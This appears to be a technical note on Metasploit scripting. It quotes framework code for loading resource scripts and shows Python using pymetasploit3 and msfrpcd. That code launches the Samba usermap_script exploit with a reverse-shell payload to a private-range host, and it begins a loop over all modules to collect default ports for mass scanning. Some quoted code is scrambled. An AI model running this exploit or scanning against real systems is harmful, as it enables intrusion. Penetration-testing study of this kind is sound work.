Metasploit Scripting And More
Metasploit
Ruby libraries
Rex::Script::Shell
vulnerability scanning
pymetasploit3
Python
background RPC service
This article explains the process of loading resource scripts in Metasploit using Ruby libraries and `Rex::Script::Shell`. It also covers the usage of the Metasploit gem for vulnerability scanning through Python’s pymetasploit3 package. The script interacts with the Metasploit Framework, setting up a background RPC service and loading modules.
you typically need to do this before importing useful metasploit ruby libraries:
$LOAD_PATH.push('./lib')
require 'rex'
require 'msf'
require 'msfenv'
the way metasploit loads resource script:
# file: lib/msf/base/sessions/command_shell.rb
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
# usually *.rc files
load_resource(full_path) end
end
the Shell.new
:
# lib/rex/shell/base.rb
def run(args=[])
self.args = args = args.flatten
begin
eval(::File.read(self.path, ::File.size(self.path)), binding )
rescue ::Interrupt
rescue ::Rex::Script::Completed
rescue ::Exception => e
self.error = e
raise e
end
end
the load_resource
:
# file: lib/rex/ui/text/resource.rb
# -*- coding: binary -*-
require 'erb'
module Rex
module Ui
module Text
module Resource
# Processes a resource script file for the console.
#
# @param path [String] Path to a resource file to run
# @return [void]
def load_resource(path)
if path == '-'
= $stdin.read
resource_file = 'stdin'
path elsif ::File.exist?(path)
= ::File.read(path)
resource_file else
"Cannot find resource script: #{path}")
print_error(return
end
# Process ERB directives first
"Processing #{path} for ERB directives."
print_status = ERB.new(resource_file)
erb = erb.result(binding)
processed_resource = processed_resource.each_line.to_a
lines = {}
bindings while lines.length > 0
= lines.shift
line break if not line
.strip!
linenext if line.length == 0
next if line =~ /^#/
# Pretty soon, this is going to need an XML parser :)
# TODO: case matters for the tag and for binding names
if line =~ /<ruby/
if line =~ /\s+binding=(?:'(\w+)'|"(\w+)")(>|\s+)/
= ($~[1] || $~[2])
bin [bin] = binding unless bindings.has_key? bin
bindings= bindings[bin]
bin else
= binding
bin end
= ''
buff while lines.length > 0
= lines.shift
line break if not line
break if line =~ /<\/ruby>/
<< line
buff end
if ! buff.empty?
"resource (#{path})> Ruby Code (#{buff.length} bytes)")
print_status(begin
eval(buff, bin)
rescue ::Interrupt
raise $!
rescue ::Exception => e
"resource (#{path})> Ruby Error: #{e.class} #{e} #{e.backtrace}")
print_error(end
end
else
"resource (#{path})> #{line}")
print_line(
run_single(line)end
end
end
end
end
end
end
vulnerability scanners:
https://dradis.com/ce/
nessus
nexpose
openvas
metasploit-framework is a ruby gem.
https://www.infosecmatter.com/metasploit-module-library/
https://rubyfu.net/module-0x5-or-exploitation-kung-fu/metasploit/auxiliary-module
mad-metasploit custom metasploit scripts
official metasploit documentation
metasploit has enabled ssl by default. http will not work.
install package:
pip3 install pymetasploit3
launch metasploit background rpc service:
# get help
msfrpcd -h
# start background service
msfrpcd -P lazero
# or if you want foreground service
msfrpcd -P lazero -f
run script:
from pymetasploit3.msfrpc import MsfRpcClient
import os
= "lazero"
PWD = "custom_msf_module"
custom_module_path assert os.path.exists(custom_module_path), (
"Custom module path not found at: '%s'" % custom_module_path
)# write custom python modules with:
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
= MsfRpcClient(
client =PWD, ssl=True
password# requires ssl by default. otherwise won't work
) # the module structure must be identical to the one at , otherwise it will not load.
client.core.addmodulepath(os.path.abspath(custom_module_path))= "multi/samba/usermap_script"
exploit_id = client.modules.use("exploit", exploit_id)
exp_mod = "172.16.194.172"
RHOST = "172.16.194.163"
LHOST "RHOST"] = RHOST # this host is not running.
exp_mod.runoptions["PAYLOAD"] = "cmd/unix/reverse"
exp_mod.runoptions["LHOST"] = LHOST
exp_mod.runoptions[= (
msf_console
client.consoles.console()# you can manually read/write instead of using below method.
) # timeout: 301 seconds.
= msf_console.run_module_with_output(exp_mod) # str
exploit_run_output print(exploit_run_output) # now have output. but still it is not streaming.
# you may want to overwrite the original implementation. the data is actually produced step by step.
= "samba_usermap_script_output.log"
run_output_file with open(run_output_file, "w+") as f:
f.write(exploit_run_output)print("[metasploit]", "output file saved at:", run_output_file)
# thank you very much.
To do mass scanning, first we need to obtain the default RPORT for each exploit.
= ['exploits','auxiliary', "encoders", "nops", "payloads", 'post']
module_types for mt_plural in module_types:
= mt_plural.rstrip('s')
module_type for name in all_module_names:
= client.modules.use(module_type, name)
mod # get default RPORT
= mod.runoptions.get("RPORT", None) default_rport